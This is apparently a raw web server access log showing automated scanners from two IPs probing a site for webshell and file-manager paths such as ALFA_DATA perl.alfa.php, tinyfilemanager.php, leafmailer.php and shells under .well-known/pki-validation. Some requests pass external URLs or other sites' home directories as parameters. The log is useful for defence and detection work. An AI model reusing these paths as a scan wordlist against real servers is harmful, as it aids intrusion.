[16/Apr/2025:15:56:56 -0400] "GET /exploits7.my.id HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:56 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:57 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:58 -0400] "GET /f8P2t5IOcAq.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:59 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:56:59 -0400] "GET /feed/atom/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:00 -0400] "GET /fex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:01 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:01 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:02 -0400] "GET /file.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:03 -0400] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:04 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:05 -0400] "GET /filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:05 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:06 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:07 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:08 -0400] "GET /files//tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:09 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:11 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:12 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:13 -0400] "GET /fkHOiaRx2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:13 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:14 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:15 -0400] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:15 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:16 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:17 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:18 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:20 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:21 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:21 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:22 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:22 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:23 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:24 -0400] "GET /geLVvYmAkdO.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:25 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:25 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:27 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:27 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:28 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:28 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:28 -0400] "GET /geylY2B94sm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:29 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:29 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:30 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:30 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:30 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:31 -0400] "GET /go.php?p= HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:31 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:31 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:31 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:32 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:32 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:32 -0400] "GET /gxurwGYPKWI.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:33 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:33 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:34 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:34 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:34 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:34 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:34 -0400] "GET /hitech-news.com HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:35 -0400] "GET /htdocs/shell/ HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:35 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:35 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:36 -0400] "GET /iVrp6IoqXQc.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:36 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:37 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:38 -0400] "GET /images//edit.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:39 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:39 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:40 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:40 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:41 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:42 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:42 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:42 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:43 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:43 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:45 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:45 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:46 -0400] "GET /images/mm55.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:46 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:15:57:46 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:15:57:46 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:47 -0400] "GET /images/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:48 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:50 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:50 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:51 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:52 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:53 -0400] "GET /index.php?debug=1&test=phpinfo HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:54 -0400] "GET /index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:55 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:56 -0400] "GET /index/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:56 -0400] "GET /index/ben.php?dir=. HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:57 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:58 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:58 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:57:59 -0400] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:00 -0400] "GET /index/function.phphttps://trezurekart.com/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:00 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:01 -0400] "GET /index/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:02 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:02 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:03 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:04 -0400] "GET /info.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:05 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:06 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:07 -0400] "GET /inputs.php?dir=/home/bfstatyba/domains/bfstatyba.lt/public_html HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:08 -0400] "GET /inputs.php?p=https://dunamisconcept.com.ng/item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:09 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:10 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:10 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:11 -0400] "GET /ispeconline.com/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:13 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:14 -0400] "GET /iz4kDodqPnH.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:14 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:15 -0400] "GET /jNY9.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:15 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:16 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:17 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:19 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:21 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:22 -0400] "GET /k.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:24 -0400] "GET /kNRianIr2EH.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:26 -0400] "GET /kPC.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:27 -0400] "GET /kQqh695R1LY.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:28 -0400] "GET /kZETIbO4Lt7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:29 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:30 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:31 -0400] "GET /lHcbBKS6ixn.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:32 -0400] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:32 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:34 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:34 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:35 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:37 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:38 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:39 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:41 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:42 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:43 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:45 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:47 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:48 -0400] "GET /login?next=/.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:50 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:53 -0400] "GET /lpuDivJrIO7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:54 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:57 -0400] "GET /luxx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:57 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:58:59 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:01 -0400] "GET /m.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:02 -0400] "GET /m5WcUgOwiIs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:06 -0400] "GET /m8DYVISz5fB.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:08 -0400] "GET /maHidu7t8ye.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:11 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:13 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:16 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:18 -0400] "GET /mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:21 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:22 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:24 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:25 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:25 -0400] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:28 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:29 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:31 -0400] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:32 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:33 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:34 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:34 -0400] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:35 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:36 -0400] "GET /media/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:37 -0400] "GET /media/FgSEetRrDqi.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:38 -0400] "GET /media/Qfxs84PjD1c.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:40 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:41 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:41 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:42 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:42 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:43 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:44 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:44 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:45 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:46 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:47 -0400] "GET /museumbuildingandsurroundingspace.com HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:48 -0400] "GET /mwioWRjdxDE.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:49 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:50 -0400] "GET /nFqJSTvuz43.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:53 -0400] "GET /nVEDxSgpTYq.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:54 -0400] "GET /nZVms37xXMW.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:55 -0400] "GET /nakrip.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:56 -0400] "GET /natural.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:57 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:58 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:59:59 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:00 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:01 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:04 -0400] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:10 -0400] "GET /nowpf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:16 -0400] "GET /nz7AOl3hjic.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:18 -0400] "GET /nzouv.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:22 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:25 -0400] "GET /o1j5SBMHlRz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:27 -0400] "GET /o7LSW.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:30 -0400] "GET /oRxHmTiQhWN.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:32 -0400] "GET /oUQD9iRdOhH.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:34 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:36 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:37 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:38 -0400] "GET /option-old.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:39 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:39 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:40 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:42 -0400] "GET /p HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:42 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:43 -0400] "GET /pHx9IqoXnlL.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:43 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:44 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:45 -0400] "GET /php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:46 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:48 -0400] "GET /php/?path=/home/jufu7693/public_html HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:49 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:50 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:52 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:53 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:55 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:00:57 -0400] "GET /pqyKOTiR2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:00 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:02 -0400] "GET /private/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:04 -0400] "GET /public/5.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:05 -0400] "GET /public/index.php/en HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:06 -0400] "GET /pvWDCdf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:09 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:10 -0400] "GET /q5nOTl9aAEQ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:12 -0400] "GET /qCVobSth3u7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - 